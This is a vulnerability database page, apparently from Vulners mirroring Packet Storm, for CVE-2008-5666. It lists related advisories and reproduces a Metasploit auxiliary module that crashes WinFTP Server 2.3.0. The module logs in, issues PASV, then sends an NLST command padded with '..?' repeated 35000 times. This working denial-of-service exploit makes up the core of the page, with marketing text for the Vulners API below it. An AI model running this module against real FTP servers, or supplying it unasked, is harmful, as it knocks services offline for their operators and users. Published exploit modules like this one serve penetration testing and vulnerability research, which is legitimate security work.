Lucene search
+L

WinFTP 2.3.0 NLST Denial of Service

🗓️ 31 Aug 2024 00:00:00Reported by Kris Katterjohn, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 160 Views

WinFTP 2.3.0 NLST Denial of Service module for Metasploi

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-5666
26 Sep 200800:00
circl
checkpoint_advisories
Check Point Advisories
WinFTP Server NLST Command Denial of Service (CVE-2008-5666)
1 Dec 201400:00
checkpoint_advisories
cve
CVE
CVE-2008-5666
18 Dec 200821:00
cve
cvelist
Cvelist
CVE-2008-5666
18 Dec 200821:00
cvelist
exploitdb
Exploit DB
WinFTP Server 2.3.0 - 'NLST' Denial of Service
26 Sep 200800:00
exploitdb
exploitdb
Exploit DB
WinFTP Server 2.3.0 - 'PASV Mode' Remote Denial of Service
9 Oct 200800:00
exploitdb
metasploit
Metasploit
WinFTP 2.3.0 NLST Denial of Service
30 Sep 200823:28
metasploit
nvd
NVD
CVE-2008-5666
19 Dec 200801:52
nvd
openvas
OpenVAS
WinFTP Server <= 2.3.0 PASV Command DoS Vulnerability
26 Dec 200800:00
openvas
openvas
OpenVAS
WinFTP Server PASV Command Denial of Service Vulnerability
26 Dec 200800:00
openvas
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WinFTP 2.3.0 NLST Denial of Service',  
'Description' => %q{  
This module is a very rough port of Julien Bedard's  
PoC. You need a valid login, but even anonymous can  
do it if it has permission to call NLST.  
},  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2008-5666' ],  
[ 'OSVDB', '49043' ],  
[ 'EDB', '6581' ]  
],  
'DisclosureDate' => '2008-09-26'))  
end  
  
def run  
return unless connect_login  
  
# NLST has to follow a PORT or PASV  
resp = send_cmd(['PASV'])  
  
raw_send("NLST #{'..?' * 35000}\r\n")  
  
disconnect  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation